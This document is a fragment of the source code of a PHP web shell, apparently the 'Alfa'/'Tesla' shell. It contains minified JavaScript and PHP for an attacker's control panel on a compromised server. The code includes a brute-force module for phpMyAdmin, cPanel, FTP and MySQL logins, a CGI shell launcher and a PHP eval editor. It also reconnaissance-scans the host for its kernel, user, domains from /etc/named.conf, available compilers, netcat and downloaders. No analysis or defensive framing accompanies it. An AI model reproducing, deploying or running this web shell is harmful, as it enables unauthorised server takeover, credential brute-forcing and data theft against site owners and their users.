dis_input(e){switch(e){case"phpmyadmin":bruteSet(!0,"Disabled","http://");break;case"direct":bruteSet(!1,"2222","http://");break;case"cp":bruteSet(!1,"2082","http://");break;case"ftp":bruteSet(!0,"Disabled","ftp://");break;case"mysql":bruteSet(!1,"3306","http://");break;case"ftpc":bruteSet(!1,"21","http://")}}function bruteSet(e,a,t){c="21"!=a?"localhost":"ftp.example.com",$("port").disabled=e,$("port").value=a,$("target").value=c,$("protocol").value=t}function inBackdoor(e){"my"==e.value?$("backdoor_textarea").style.display="block":$("backdoor_textarea").style.display="none"}function saveByKey(e){return!("s"==String.fromCharCode(e.which).toLowerCase()&&e.ctrlKey||19==e.which)||($("editor_edit_area").onsubmit(),e.preventDefault(),!1)}function alfaAjaxError(e,a,t,i){if(void 0!==a){var l=d.querySelector("#loader_"+a);null!=l&&(firewall="",403==e&&(firewall=" ~ FireWall Detected!"),l.querySelector("img").remove(),l.querySelector(".alfa-ajax-error").innerHTML=e+" ( "+t+firewall+" )",alfaShowNotification(t,"Ajax","error"))}}function alfaInitCwdContext(){d.querySelectorAll(".header_pwd").forEach(function(e){e.addEventListener("contextmenu",function(e){var a=e.target.getAttribute("path"),t=d.querySelector("#rightclick_menu > a[name=newtab]");t.setAttribute("href","javascript:void(0);"),t.removeAttribute("target"),t.onclick=function(){alfaFilesManNewTab(a,"/")};var i=e.clientX,l=e.clientY;alfaSortMenuItems(["newtab"]),alfaRightClickMenu(i,l),e.preventDefault()})})}function alfaRightClickMenu(e,a){rightclick_menu_context.top=a+"px",rightclick_menu_context.left=e+"px",rightclick_menu_context.visibility="visible",rightclick_menu_context.opacity="1"}function alfaSortMenuItems(e){var a=["newtab","link","download","view","edit","move","copy","rename","modify","permission","compress","extract","delete","view_archive"],t=!1;for(var i in a){for(var l in t=!1,e)a[i]!=e[l]||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="block",t=!0);t||(d.querySelector("#rightclick_menu > a[name="+a[i]+"]").style.display="none")}}function alfaAceChangeSetting(e,a){var t=e.options[e.selectedIndex].value,i=e.getAttribute("base"),l=alfa_ace_editors.editor;"eval"==i&&(l=alfa_ace_editors.eval);var o=e.getAttribute("ace_id");"lang"==a?l[o].session.setMode("ace/mode/"+t):"theme"==a&&l[o].setTheme("ace/theme/"+t),setCookie("alfa_ace_"+a+"_"+i,t,2012)}function alfaAceChangeWrapMode(e,a){var t=alfa_ace_editors.editor;"eval"==a&&(t=alfa_ace_editors.eval);var i=e.getAttribute("ace_id");e.checked?t[i].session.setUseWrapMode(!0):t[i].session.setUseWrapMode(!1)}function alfaAceChangeFontSize(e,a,t){var i=alfa_ace_editors.editor;"eval"==e&&(i=alfa_ace_editors.eval);var l=t.getAttribute("ace_id"),o=i[l].getFontSize();"+"==a?++o:--o,i[l].setFontSize(o),setCookie("alfa_ace_fontsize_"+e,o,2012)}function setCookie(e,a,t){var i=new Date;i.setTime(i.getTime()+24*t*60*60*1e3);var l="expires="+i.toUTCString();document.cookie=e+"="+a+";"+l+";path=/"}function getCookie(e){var a=("; "+document.cookie).split("; "+e+"=");if(2==a.length)return a.pop().split(";").shift()}function editorClose(e){if(d.body.style.overflow="visible",elem=$(e),elem.setAttribute("class","editor-anim-close"),"editor"==e){if(is_minimized=!1,null!=alfa_ace_editors.editor&&null!=alfa_ace_editors.editor){for(var a in alfa_ace_editors.editor)alfa_ace_editors.editor[a].destroy();alfa_ace_editors.editor=null,d.querySelector(".editor-tabs").innerHTML="",d.querySelector(".editor-content-holder").innerHTML=""}}else if("cgiloader"==e)php_temrinal_using_cgi&&(d.querySelector(".terminal-tabs").innerHTML="",d.querySelector(".terminal-contents").innerHTML=""),php_temrinal_using_cgi=!1,cgi_is_minimized=!1;else if("options_window"==e){if(options_window_is_minimized=!1,null!=alfa_ace_editors.eval){for(var a in alfa_ace_editors.eval)alfa_ace_editors.eval[a].destroy();alfa_ace_editors.eval=null,d.querySelectorAll(".php-evals").forEach(function(e){e.removeAttribute("ace")})}}else"database_window"==e&&(database_window_is_minimized=!1);setTimeout(function(){elem=$(e),elem.removeAttribute("class"),elem.style.display="none","options_window"==e&&(elem.querySelector(".options_tab").innerHTML="",elem.querySelector(".options_content").innerHTML="")},1e3),d.body.style.overflow="visible"}function popupWindowBackPosition(){var e={cgiloader:cgi_is_minimized,options_window:options_window_is_minimized,database_window:database_window_is_minimized,editor:is_minimized},a=[];for(var t in e)e[t]&&a.push(t);1==a.length?$(a[0]+"-minimized").style.top="30%":2==a.length?($(a[0]+"-minimized").style.top="20%",$(a[1]+"-minimized").style.top="50%"):3==a.length?($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="60%"):4==a.length&&($(a[0]+"-minimized").style.top="0%",$(a[1]+"-minimized").style.top="30%",$(a[2]+"-minimized").style.top="55%",$(a[3]+"-minimized").style.top="80%")}function showEditor(e){if($(e).setAttribute("class","editor-anim-show"),$(e+"-minimized").setAttribute("class","minimized-hide"),"editor"==e)is_minimized=!1;else if("cgiloader"==e)cgi_is_minimized=!1;else if("options_window"==e){options_window_is_minimized=!1;var a=d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active.tab-is-done");null!=a&&a.classList.remove("tab-is-done")}else"database_window"==e&&(database_window_is_minimized=!1);popupWindowBackPosition(),d.body.style.overflow="hidden"}function editorMinimize(e){$(e).setAttribute("class","editor-anim-minimize"),$(e+"-minimized").setAttribute("class","minimized-show"),"editor"==e?is_minimized=!0:"cgiloader"==e?cgi_is_minimized=!0:"options_window"==e?options_window_is_minimized=!0:"database_window"==e&&(database_window_is_minimized=!0),popupWindowBackPosition(),d.body.style.overflow="visible"}function clearEditorHistory(){if(confirm("Are u Sure?"))for(var e in editor_files)e!=editor_current_file&&removeHistory(e)}function isArchive(e){var a,t=[".tar.gz",".tar.bz2",".tar.z",".tar.xz",".zip",".zipx",".7z",".bz2",".gz",".rar",".tar",".tgz"];for(a in t)if(new RegExp("(.*)("+t[a].replace(/\./g,"\\.")+")$","gi").test(e))return!0;return!1}function editor(e,a,t,i,l,o){if("dir"==o&&".."==e)return!1;if("download"==a)return g("FilesTools",i,e,"download"),!1;var r="",n="",s="",c="",f=d.mf.c.value,_=!0;if(e=e.trim(),0==Object.keys(editor_files).length){var u=getCookie("alfa_history_files");try{for(var p in u=atob(u),editor_files=JSON.parse(u))insertToHistory(p,editor_files[p].file,0,editor_files[p].type)}catch(e){}}if("phar://"==e.substr(0,7))f=c_;else if(-1!=e.indexOf("/")){var m=e.split("/");e=m[m.length-1],delete m[m.length-1],f=m.join("/"),islinux&&(f="/"+f)}if(void 0===o&&(o=""),void 0!==i&&null!=i&&0!=i.length&&(f=i.trim()),"auto"==a&&isArchive(e))return alfaSyncMenuToOpt(e,!0),!1;try{for(var v in editor_files)if(editor_files[v].file==decodeURIComponent(e)&&editor_files[v].pwd.replace(/\//g,"")==f.replace(/\//g,"")){_=!1,l=v;break}}catch(e){}if(editor_error=!0,void 0!==t&&0!=t.length&&null!=t&&(r=alfab64(t)),void 0!==l&&null!=l&&0!=l.length)n=alfab64(l),s=l,c=l.replace("file_","");else{var h="file_"+(c=getRandom(10));n=alfab64(h),s=h}var b="editor_source_"+c;if(null==$(b)){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}d.querySelector(".editor-tabs").insertAdjacentHTML("beforeend","<div onclick='editorTabController(this);' opt_id='"+b+"' id='tab_"+b+"' class='editor-tab-name editor-tab-active'>"+decodeURIComponent(e)+" <img opt_id='"+b+"' onclick='closeEditorContent(this,event);return false;' title='[close]' src='http://solevisible.com/icons/menu/delete.svg'></div>"),d.querySelector(".editor-content-holder").insertAdjacentHTML("afterbegin","<div class='editor-contents editor-content-active' id='"+b+"'></div>")}return 0==is_minimized&&"none"==$("editor").style.display?($("editor").style.display="block",showEditor("editor"),alfaloader(b,"block")):(is_minimized&&showEditor("editor"),null!=$(b)?alfaloader(b,"block"):(alfaloader("editor","block"),b="editor")),_Ajax(d.URL,"a="+alfab64("FilesTools")+"&c="+alfab64(f)+"&alfa1="+alfab64(e)+"&alfa2="+alfab64(a)+"&alfa3="+r+"&alfa4="+n+"&alfa5=&alfa6=&alfa7=&alfa8=&alfa9=&alfa10=&&ajax="+alfab64("true"),function(t,i){var l=$("tab_"+i);try{null!=l&&((-1==l.classList.value.indexOf("editor-tab-active")||is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","Editor: "+l.innerText)),is_minimized&&alfaUpdateOptionsBadge("editor"))}catch(t){}if("none"==$("editor").style.display?alfaLoaderOnTop("none"):alfaloader(i,"none"),r.length>0&&"edit"==a)return is_minimized||null!=l&&-1!=l.classList.value.indexOf("editor-tab-active")&&alfaShowNotification("saved...!","Editor"),!1;if(null!=$(i)&&($(i).innerHTML=t),is_minimized&&alfaShowNotification("proccess is done...","Editor: "+decodeURIComponent(e)),$("editor").style.display="block",evalJS(t),alfaLoadAceEditor("view_ml_content"),"delete"!=a&&editor_error){var c=d.getElementsByClassName("is_active");0!=c.length&&(c[0].className="file-holder"),n=s,e=decodeURIComponent(e),!editor_files[n]&&_?(editor_files[n]={file:e,pwd:f,type:o},insertToHistory(n,e," is_active",o),"mkfile"==a&&g("FilesMan",null)):$(n).parentNode.className+=" is_active"}d.body.style.overflow="hidden",d.getElementsByClassName("filestools")[0].setAttribute("fid",n),editor_files[n]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[n].pwd+"/"+editor_files[n].file).replace(/\/\//g,"/")),editor_current_file=n,updateCookieEditor()},!1,b),!1}function alfaLoadAceEditor(e,a){if(void 0===a&&(a=!1),null==$("alfa-ace-plugin")){var t=document.createElement("script");return t.src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.11/ace.js",t.id="alfa-ace-plugin",t.onload=function(){alfaLoadAceEditor(e,a)},d.body.appendChild(t),!1}try{"allow"==$(e).getAttribute("mode")&&(a=!1)}catch(e){}if("view_ml_content"==e){null==alfa_ace_editors.editor&&(alfa_ace_editors.editor={});var i=getCookie("alfa_ace_theme_editor"),l=getCookie("alfa_ace_fontsize_editor");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".editor-ace-controller").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=getRandom(10),o=e.querySelector(".view_ml_content");o.setAttribute("id","view_ml_content-"+t),alfa_ace_editors.editor["view_ml_content-"+t]=ace.edit(o),alfa_ace_editors.editor["view_ml_content-"+t].setReadOnly(a),alfa_ace_editors.editor["view_ml_content-"+t].setShowPrintMargin(!1),alfa_ace_editors.editor["view_ml_content-"+t].setTheme("ace/theme/"+i),alfa_ace_editors.editor["view_ml_content-"+t].session.setMode("ace/mode/php"),alfa_ace_editors.editor["view_ml_content-"+t].session.setUseWrapMode(!0),alfa_ace_editors.editor["view_ml_content-"+t].commands.addCommand({name:"save",bindKey:{win:"Ctrl-S",mac:"Cmd-S"},exec:function(e){d.querySelector("#ace-save-btn-"+t).click()}}),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","view_ml_content-"+t),-1!=e.classList.value.indexOf("ace-save-btn")&&e.setAttribute("id","ace-save-btn-"+t)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.editor["view_ml_content-"+t].setFontSize(parseInt(l))},1e3)})}else{null==alfa_ace_editors.eval&&(alfa_ace_editors.eval={});i=getCookie("alfa_ace_theme_eval"),l=getCookie("alfa_ace_fontsize_eval");void 0===i&&(i="terminal"),0==i.length&&(i="terminal"),d.querySelectorAll(".php-evals").forEach(function(e){if(null!=e.getAttribute("ace"))return!1;e.setAttribute("ace","ok");var t=e.querySelector(".php-evals-ace"),o=getRandom(10);t.setAttribute("id","phpeval-"+o),alfa_ace_editors.eval["phpeval-"+o]=ace.edit(t),alfa_ace_editors.eval["phpeval-"+o].setReadOnly(a),alfa_ace_editors.eval["phpeval-"+o].setShowPrintMargin(!1),alfa_ace_editors.eval["phpeval-"+o].setTheme("ace/theme/"+i),alfa_ace_editors.eval["phpeval-"+o].session.setMode("ace/mode/php"),alfa_ace_editors.eval["phpeval-"+o].session.setUseWrapMode(!0),e.querySelector("select.ace-theme-selector").value=i,e.querySelectorAll(".ace-controler").forEach(function(e){e.setAttribute("ace_id","phpeval-"+o)}),void 0!==l&&setTimeout(function(){alfa_ace_editors.eval["phpeval-"+o].setFontSize(parseInt(l))},1e3)})}}function insertToHistory(e,a,t,i){var l="";t&&0!=t&&(l=t);var o=document.createElement("div");o.innerHTML="<div id='"+e+"' class='history' onClick='reopen(this);'><div class='editor-icon'>"+loadType(a,i,e)+"</div><div class='editor-file-name'>"+a+"</div></div><div class='history-close' onClick='removeHistory(\""+e+"\");'>X</div>",o.className="file-holder"+l,o.addEventListener("mouseover",function(){setEditorTitle(e,"over"),this.childNodes[1].style.opacity="1"}),o.addEventListener("mouseout",function(){setEditorTitle(e,"out"),this.childNodes[1].style.opacity="0"});var r=d.getElementsByClassName("history-list")[0];r.insertBefore(o,r.firstChild)}function loadType(e,a,t){"none"==a&&_Ajax(d.URL,"a="+alfab64("checkfiletype")+"&path="+alfab64(editor_files[t].pwd)+"&arg="+alfab64(editor_files[t].file),function(e){$(t).innerHTML="<div class='editor-icon'>"+loadType(editor_files[t].file,e,t)+"</div><div class='editor-file-name'>"+editor_files[t].file+"</div>",editor_files[t].type=e});if("file"==a){a=(a=e.split("."))[a.length-1].toLowerCase();-1==["json","ppt","pptx","xls","xlsx","msi","config","cgi","pm","c","cpp","cs","java","aspx","asp","db","ttf","eot","woff","woff2","woff","conf","log","apk","cab","bz2","tgz","dmg","izo","jar","7z","iso","rar","bat","sh","alfa","gz","tar","php","php4","php5","phtml","html","xhtml","shtml","htm","zip","png","jpg","jpeg","gif","bmp","ico","txt","js","rb","py","xml","css","sql","htaccess","pl","ini","dll","exe","mp3","mp4","m4a","mov","flv","swf","mkv","avi","wmv","mpg","mpeg","dat","pdf","3gp","doc","docx","docm"].indexOf(a)&&(a="notfound")}else a="folder";return'<img src="http://solevisible.com/icons/{type}" width="30" height="30">'.replace("{type}",a+".png")}function updateFileEditor(e,a){var t="id_"+e,i="id_chmode_"+e,l="id_rename_"+e,o="id_touch_"+e,r="id_edit_"+e,n="id_download_"+e,d="id_delete_"+e,s=$(t).getAttribute("ftype");"folder"==s&&(s="dir"),"file"==s?($(t).innerHTML=a,$(t).setAttribute("href","#action=fileman&path="+c_+"/"+a),$(t).setAttribute("onclick","editor('"+a+"','auto','','','','file')"),$(r).setAttribute("onclick","editor('"+a+"','edit','','','','"+s+"')"),$(n).setAttribute("onclick","g('FilesTools',null,'"+a+"', 'download')")):($(t).innerHTML="<b>| "+a+" |</b>",$(t).setAttribute("onclick","g('FilesMan', '"+c_+"/"+a+"')")),$(i).setAttribute("onclick","editor('"+a+"','chmod','','','','"+s+"')"),$(l).setAttribute("onclick","editor('"+a+"','rename','','','','"+s+"')"),$(o).setAttribute("onclick","editor('"+a+"','touch','','','','"+s+"')"),$(d).setAttribute("onclick","var chk = confirm('Are You Sure For Delete # "+a+" # ?'); chk ? g('FilesMan',null,'delete', '"+a+"') : '';"),$(t).setAttribute("fname",a)}function updateDirsEditor(e,a){var t=d.mf.c.value+"/",i=editor_files[e].pwd+"/"+a+"/",l=editor_files[e].pwd+"/"+editor_files[e].file+"/";for(var o in i=i.replace(/\/\//g,"/"),l=l.replace(/\/\//g,"/"),-1!=(t=t.replace(/\/\//g,"/")).search(i)&&(initDir(t.replace(i,l)),d.mf.c.value=t.replace(i,l)),editor_files){var r=editor_files[o].pwd+"/";-1!=(r=r.replace(/\/\//g,"/")).search(i)&&(editor_files[o].pwd=r.replace(i,l))}updateCookieEditor()}function updateCookieEditor(){setCookie("alfa_history_files",btoa(JSON.stringify(editor_files)),2012)}function setEditorTitle(e,a){if("out"==a&&""!=editor_current_file){var t=d.querySelector(".editor-tab-name.editor-tab-active");e=null!=t?t.getAttribute("opt_id").replace("editor_source_","file_"):editor_current_file}editor_files[e]&&(d.getElementsByClassName("editor-path")[0].innerHTML=(editor_files[e].pwd+"/"+editor_files[e].file).replace(/\/\//g,"/"))}function removeHistory(e){delete editor_files[e],$(e)&&$(e).parentNode.parentNode.removeChild($(e).parentNode);var a=d.getElementsByClassName("filestools")[0];a&&a.getAttribute("fid")==e&&(a.outerHTML=""),editor_current_file==e&&(editor_current_file=""),updateCookieEditor()}function getRandom(e){for(var a="",t="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ",i=void 0===e?20:e;i>0;--i)a+=t[Math.floor(Math.random()*t.length)];return a}function reopen(e){var a=e.getAttribute("id"),t=editor_files[a].pwd,i=editor_files[a].file,l="editor_source_"+a.replace("file_","");null==$(l)?editor(i,"auto","",t,a):editorTabController(l,!0)}function copyToClipboard(e){e=e.getAttribute("ace_id");var a=alfa_ace_editors.editor[e].selection.toJSON();alfa_ace_editors.editor[e].selectAll(),alfa_ace_editors.editor[e].focus(),document.execCommand("copy"),alfa_ace_editors.editor[e].selection.fromJSON(a),alfaShowNotification("text copied","Editor")}function encrypt(e,a){if(null==a||a.length<=0)return null;e=alfab64(e,!0),a=alfab64(a,!0);for(var t="",i="",l=0;l<e.length;)for(var o=0;o<a.length&&(t=e.charCodeAt(l)^a.charCodeAt(o),i+=String.fromCharCode(t),!(++l>=e.length));o++);return alfab64(i,!0)}function reloadSetting(e){return alfaloader(alfa_before_do_action_id,"block"),_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(e.protect.value)+"&alfa2="+alfab64(e.lgpage.value)+"&alfa3="+alfab64(e.username.value)+"&alfa4="+alfab64(e.password.value)+"&alfa5="+alfab64(">>")+"&alfa6="+alfab64(e.icon.value)+"&alfa7="+alfab64(e.post_encrypt.value)+"&alfa8="+alfab64("main")+"&alfa9="+alfab64(e.cgi_api.value)+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e,a){loadPopUpOpTions(a,e),evalJS(e),alfaloader(a,"none")},!1,alfa_before_do_action_id),alfa_before_do_action_id="",0==e.e.value&&1==e.protect.value&&setTimeout("location.reload()",1e3),e.s.value!=e.icon.value&&setTimeout("location.reload()",1e3),!1}function reloadColors(e){var a={};void 0===e?d.querySelectorAll(".colors_input").forEach(function(e){var t=e.getAttribute("target").replace(".","");a[t]=e.value}):a=e;var t=$("use_default_color").checked?"1":"0";_Ajax(d.URL,"a="+alfab64("settings")+"&alfa1="+alfab64(JSON.stringify(a))+"&alfa2="+alfab64(">>")+"&alfa3="+alfab64(t)+"&alfa8="+alfab64("color")+"&c="+alfab64(c_)+"&ajax="+alfab64("true"),function(e){evalJS(e)},!0)}function alfab64(e,a){return void 0!==a||0==post_encryption_mode?window.btoa(unescape(encodeURIComponent(e))):encrypt(e,"<?php 
        echo "__ALFA_SECRET_KEY__";
        ?>")}function evalCss(e){var a=document.createElement("style");a.styleSheet?a.styleSheet.cssText=e:a.appendChild(document.createTextNode(e)),d.getElementsByTagName("head")[0].appendChild(a)}function colorHandlerKey(e){setTimeout(function(a){colorHandler(e)},200)}function colorHandler(e){var a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
<?php 
        echo "<form style='display:none;' id='dlForm' action='' target='_blank' method='post'>\r\n<input type='hidden' name='a' value='dlfile'>\r\n<input type='hidden' name='c' value=''>\r\n<input type='hidden' name='file' value=''>\r\n</form>\r\n<input type='file' style='display:none;' id='importFileBtn' onchange='importConfig(event);'>\r\n<div id='a_loader'><img src='" . __showicon('loader') . "'></div>";
        $cmd_uname = alfaEx("uname -a", false, false);
        $uname = function_exists('php_uname') ? substr(@php_uname(), 0, 120) : (strlen($cmd_uname) > 0 ? $cmd_uname : '( php_uname ) Function Disabled !');
        if ($uname == "( php_uname ) Function Disabled !") {
            $GLOBALS["need_to_update_header"] = "true";
        }
        echo '
</head>
<body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0">
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a">
<input type="hidden" name="c" value="' . $GLOBALS['cwd'] . '">';
        for ($s = 1; $s <= 10; $s++) {
            echo '<input type="hidden" name="alfa' . $s . '">';
        }
        echo "<input type=\"hidden\" name=\"charset\">\r\n</form>\r\n<div id='hidden_sh'><a class=\"alert_green\" target=\"_blank\" href=\"?solevisible\"><span style=\"color:#42ff59;\">Tesla</span><br><small>Version: <span class=\"hidden_shell_version\">4.1</span></small></a></div>\r\n<div class=\"header\"><table width=\"100%\" border=\"0\">\r\n<tr>\r\n<td width=\"3%\"><span class=\"header_vars\">Uname:</span></td>\r\n<td colspan=\"2\"><span class=\"header_values\" id=\"header_uname\">" . $uname . '</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">' . $uid . ' [ ' . $user . ' ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">' . $gid . ' [ ' . $group . ' ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>' . @phpversion() . ' </b><span class="header_vars"> Safe Mode: ' . $safe_modes . '</span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>' . (!@$_SERVER["SERVER_ADDR"] ? function_exists("gethostbyname") ? @gethostbyname($_SERVER['SERVER_NAME']) : '????' : @$_SERVER["SERVER_ADDR"]) . '</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ' . @$_SERVER["REMOTE_ADDR"] . '</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>' . date('Y-m-d H:i:s') . '</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">';
        if ($GLOBALS['sys'] == 'unix') {
            $d0mains = _alfa_file("/etc/named.conf", false);
            if (!$d0mains) {
                echo "Cant Read [ /etc/named.conf ]";
                $GLOBALS["need_to_update_header"] = "true";
            } else {
                $count = 0;
                foreach ($d0mains as $d0main) {
                    if (@strstr($d0main, "zone")) {
                        preg_match_all('#zone "(.*)"#', $d0main, $domains);
                        flush();
                        if (strlen(trim($domains[1][0])) > 2) {
                            flush();
                            $count++;
                        }
                    }
                }
                echo "{$count} Domains";
            }
        } else {
            echo "Cant Read [ /etc/named.conf ]";
        }
        echo '</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>' . alfaSize($totalSpace) . ' </b><span class="header_vars">Free:</span><b>' . alfaSize($freeSpace) . ' [' . (int) ($freeSpace / $totalSpace * 100) . '%]</b></td>
</tr>';
        if ($GLOBALS['sys'] == 'unix') {
            $useful_downloader = '<tr><td height="18" colspan="2"><span class="header_vars">useful:</span><span class="header_values" id="header_useful">--------------</span></td></tr><td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" id="header_downloader">--------------</span></td></tr>';
            if (!@ini_get('safe_mode')) {
                if (strlen(alfaEx("id", false, false)) > 0) {
                    echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Useful : </span>";
                    $userful = array('gcc', 'lcc', 'cc', 'ld', 'make', 'php', 'perl', 'python', 'ruby', 'tar', 'gzip', 'bzip', 'bzialfa2', 'nc', 'locate', 'suidperl');
                    $x = 0;
                    foreach ($userful as $item) {
                        if (alfaWhich($item)) {
                            $x++;
                            echo '<span class="header_values" style="margin-left: 4px;">' . $item . '</span>';
                        }
                    }
                    if ($x == 0) {
                        echo "<span class='header_values' id='header_useful'>--------------</span>";
                        $GLOBALS["need_to_update_header"] = "true";
                    }
                    echo "</td>\r\n</tr>\r\n<tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span>";
                    $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror');
                    $x = 0;
                    foreach ($downloaders as $item2) {
                        if (alfaWhich($item2)) {
                            $x++;
                            echo '<span class="header_values" style="margin-left: 4px;">' . $item2 . '</span>';
                        }
                    }
                    if ($x == 0) {
                        echo "<span class='header_values' id='header_downloader'>--------------</span>";
                        $GLOBALS["need_to_update_header"] = "true";
                    }
                    echo "</td>\r\n</tr>";
                } else {
                    echo $useful_downloader;
                    $GLOBALS["need_to_update_header"] = "true";
                }
            } else {
                echo $useful_downloader;
                $GLOBALS["need_to_update_header"] = "true";
            }
        } else {
            echo "<tr><td height=\"18\" colspan=\"2\"><span class=\"header_vars\">Windows:</span><b>";
            echo alfaEx('ver', false, false);
            echo "</td>\r\n</tr> <tr>\r\n<td height=\"0\" colspan=\"2\"><span class=\"header_vars\">Downloader: </span><b>-------------</b></td>\r\n</tr></b>";
        }
        $quotes = function_exists('get_magic_quotes_gpc') ? get_magic_quotes_gpc() : '0';
        if ($quotes == "1" or $quotes == "on") {
            $magic = '<b><span class="header_on">ON</span>';
        } else {
            $magic = '<span class="header_off">OFF</span>';
        }
        echo '<tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b>' . Alfa_GetDisable_Function() . '</b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span>' . $curl . ' | <span class="header_vars">SSH2 : </span>' . $ssh2 . ' | <span class="header_vars">Magic Quotes : </span>' . $magic . ' | <span class="header_vars"> MySQL :</span>' . $mysql . ' | <span class="header_vars">MSSQL :</span>' . $mssql . ' | <span class="header_vars"> PostgreSQL :</span>' . $pg . ' | <span class="header_vars"> Oracle :</span>' . $or . ' ' . ($GLOBALS['sys'] == "unix" ? '| <span class="header_vars"> CGI :</span> ' . $cgi_shell : "") . '</td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b>' . $open_b . '</b> | <span class="header_vars">Safe_mode_exec_dir :</span><b>' . $safe_exe . '</b> | <span class="header_vars"> Safe_mode_include_dir :</span></b>' . $safe_include . '</b></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>' . @getenv('SERVER_SOFTWARE') . '</b></td>
</tr>';
        if ($GLOBALS['sys'] == "win") {
            echo '<tr>
<td height="12"><span class="header_vars">DRIVE:</span></td>
<td colspan="2"><b>' . $drives . '</b></td>
</tr>';
        }
        echo '<tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd">' . $cwd_links . ' </span><a href="#action=fileman&path=' . $GLOBALS['home_cwd'] . '" onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</table>
</div>
<div id="meunlist">
<ul>
';
